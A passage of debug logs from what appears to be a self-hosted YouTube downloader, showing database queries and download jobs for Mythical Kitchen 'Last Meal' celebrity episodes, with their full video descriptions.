Characters\n26:24 3rd Course\n29:29 Finding The Perfect Side Quest\n34:06 Crying More\n37:08 Visited By The Muse\n38:38 Plans For The Future\n39:29 What Do You Think Happens When You Die?\n40:40 Lightning Round\n43:19 Bill's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "William H. Macy Eats His Last Meal", "https://www.youtube.com/watch?v=6inDQO2ughI", "6inDQO2ughI", 2641, false, "/downloads/Last Meals/2025-11-13 William H. Macy Eats His Last Meal/William H. Macy Eats His Last Meal [6inDQO2ughI].mp4", false, 1, ~U[2025-11-13 11:00:13Z]] 20:49:17.867 [debug] QUERY OK source="sources" db=0.1ms idle=692.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:17.868 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:17.868 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105] 20:49:17.868 [info] Kicking off download for media item #105 (6inDQO2ughI) 20:49:17.870 [debug] QUERY OK source="tasks" db=0.1ms idle=2.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [104, 105, ~U[2026-03-28 00:49:17Z], ~U[2026-03-28 00:49:17Z]] 20:49:17.870 [debug] Current batch of media processed. Will check again in 1000ms 20:49:18.871 [debug] Current batch of media processed. Will check again in 1000ms 20:49:19.872 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Terry Crews is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Terry's Last Meal\n1:13 Have You Thought About Your Last Meal Before?\n1:52 1st Course\n3:20 Growing Up In Church\n4:52 Michael Meyers Jesus\n7:43 2nd Course\n8:10 Cedar Point & BBQ\n10:45 Imagining His Own Movies\n12:04 Shifting Focus To Enjoy The Now\n14:17 3rd Course\n15:25 Retiring From The NFL\n17:17 Discovering Smoothies\n18:13 Working Out To Face His Father\n25:22 4th Course\n27:33 Finding True Power\n29:25 Working With Adam Sandler\n31:12 5th Course\n33:19 Learning Morality From Star Wars\n35:27 Forgiving Parents & Reparing Your Own House\n38:33 6th Course\n40:35 What Does Dying Feel Like?\n44:28 Lightning Round\n47:27 Terry's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2935, "filename" => "/downloads/Last Meals/2024-09-10 Terry Crews Eats His Last Meal/Terry Crews Eats His Last Meal [DUsUx-Hhiyo].mp4", "id" => "DUsUx-Hhiyo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DUsUx-Hhiyo", "playlist_index" => 91, "timestamp" => 1725962424, "title" => "Terry Crews Eats His Last Meal", "upload_date" => "20240910"} 20:49:19.873 [debug] QUERY OK source="sources" db=0.1ms idle=815.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:19.873 [debug] QUERY OK source="sources" db=0.1ms idle=815.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:19.873 [debug] QUERY OK source="media_items" db=0.2ms idle=816.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-10 10:00:24Z], 1] 20:49:19.875 [debug] QUERY OK source="media_items" db=1.3ms idle=816.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Terry Crews is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Terry's Last Meal\n1:13 Have You Thought About Your Last Meal Before?\n1:52 1st Course\n3:20 Growing Up In Church\n4:52 Michael Meyers Jesus\n7:43 2nd Course\n8:10 Cedar Point & BBQ\n10:45 Imagining His Own Movies\n12:04 Shifting Focus To Enjoy The Now\n14:17 3rd Course\n15:25 Retiring From The NFL\n17:17 Discovering Smoothies\n18:13 Working Out To Face His Father\n25:22 4th Course\n27:33 Finding True Power\n29:25 Working With Adam Sandler\n31:12 5th Course\n33:19 Learning Morality From Star Wars\n35:27 Forgiving Parents & Reparing Your Own House\n38:33 6th Course\n40:35 What Does Dying Feel Like?\n44:28 Lightning Round\n47:27 Terry's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Terry Crews Eats His Last Meal", "d16e4a1c-8ffb-458a-91d8-25a1c75f8b5c", "https://www.youtube.com/watch?v=DUsUx-Hhiyo", false, "DUsUx-Hhiyo", 2935, false, 91, "/downloads/Last Meals/2024-09-10 Terry Crews Eats His Last Meal/Terry Crews Eats His Last Meal [DUsUx-Hhiyo].mp4", false, false, 1, [], 0, ~U[2024-09-10 10:00:24Z], ~U[2026-03-28 00:49:19Z], ~U[2026-03-28 00:49:19Z], "Today, Terry Crews is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Terry's Last Meal\n1:13 Have You Thought About Your Last Meal Before?\n1:52 1st Course\n3:20 Growing Up In Church\n4:52 Michael Meyers Jesus\n7:43 2nd Course\n8:10 Cedar Point & BBQ\n10:45 Imagining His Own Movies\n12:04 Shifting Focus To Enjoy The Now\n14:17 3rd Course\n15:25 Retiring From The NFL\n17:17 Discovering Smoothies\n18:13 Working Out To Face His Father\n25:22 4th Course\n27:33 Finding True Power\n29:25 Working With Adam Sandler\n31:12 5th Course\n33:19 Learning Morality From Star Wars\n35:27 Forgiving Parents & Reparing Your Own House\n38:33 6th Course\n40:35 What Does Dying Feel Like?\n44:28 Lightning Round\n47:27 Terry's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.c (truncated) 20:49:19.876 [debug] QUERY OK source="sources" db=0.1ms idle=697.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:19.876 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:19.876 [debug] QUERY OK source="media_items" db=0.1ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [106] 20:49:19.876 [info] Kicking off download for media item #106 (DUsUx-Hhiyo) 20:49:19.878 [debug] QUERY OK source="tasks" db=0.0ms idle=1.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [105, 106, ~U[2026-03-28 00:49:19Z], ~U[2026-03-28 00:49:19Z]] 20:49:19.878 [debug] Current batch of media processed. Will check again in 1000ms 20:49:20.878 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Gordon Ramsay's last meal.\n\nWe’re going on tour!! Visit https://goodmythicaltour.com for info & tickets:\nMythical Society Presale: January 10 - 11, 2024\nGeneral Onsale: January 12, 2024\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Gordon's Last Meal Menu\n0:29 The Controversial Grilled Cheese\n1:43 Rehearsal For The Funeral\n2:38 1st Course - Full English Breakfast\n3:00 Growing Up In Government Housing\n4:05 Chefs & Athletes\n5:55 Never Pick A Favorite Child\n6:54 The Hot Ones Wings\n7:19 2nd Course - Butter Chicken, In-N-Out, & Buffalo Wings\n8:03 Seeking Adventure & Memento Mori\n8:46 Gordon Loves In-N-Out\n10:04 Fondness for Fish Head Curry\n12:05 Hungry for New Techniques\n13:02 Motivation vs. Abuse\n14:46 Depression in The Restaurant Industry\n17:14 Toxic Work Environments\n19:25 US Culinary Schools Are Depressing\n20:20 Kitchen Nightmares\n21:28 3rd Course - Beef Wellington & Gin & Tonic\n23:57 Wellington Criticism from Mrs. Ramsay\n24:59 Get Drunk At Gordon's Funeral\n25:45 Gordon Is Too Busy To Think About Death\n27:33 Chefs Have The Worst Eating Habits\n28:15 Josh Almost Worked In Restaurants\n30:16 Gordon Loves the Pressure\n31:04 4th Course - Sticky Toffee Pudding & Deep Fried Mars Bar\n32:40 Gordon's Hardworking Mom\n31:33 Lessons On Parenting\n35:57 Connection Through Grief\n36:58 Gordon's Cooking Legacy\n37:53 Who's The One Person You'd Want To Share Your Last Meal With?\n38:00 What Song Do You Want Played At Your Funeral?\n38:13 Who Is The One Footballer You Wish You Could Have Slide-Tackled?\n38:24 What's Your Biggest Fear?\n38:29 How Many Jamie Olivers Could You Beat In A Fight?\n38:42 What's Your Greatest Regret?\n38:52 Which Burbank Parking Lot Would You Like To Wrestle Josh In?\n39:20 Gordon's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon" <> ..., "duration" => 2388, "filename" => "/downloads/Last Meals/2024-01-09 Gordon Ramsay Eats His Last Meal/Gordon Ramsay Eats His Last Meal [ENhfIeZF_AY].mp4", "id" => "ENhfIeZF_AY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ENhfIeZF_AY", "playlist_index" => 92, "timestamp" => 1704798022, "title" => "Gordon Ramsay Eats His Last Meal", "upload_date" => "20240109"} 20:49:20.879 [debug] QUERY OK source="sources" db=0.2ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:20.879 [debug] QUERY OK source="sources" db=0.1ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:20.880 [debug] QUERY OK source="media_items" db=0.4ms idle=1002.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-09 11:00:22Z], 1] 20:49:20.896 [debug] QUERY OK source="media_items" db=15.4ms idle=1002.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Gordon Ramsay's last meal.\n\nWe’re going on tour!! Visit https://goodmythicaltour.com for info & tickets:\nMythical Society Presale: January 10 - 11, 2024\nGeneral Onsale: January 12, 2024\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Gordon's Last Meal Menu\n0:29 The Controversial Grilled Cheese\n1:43 Rehearsal For The Funeral\n2:38 1st Course - Full English Breakfast\n3:00 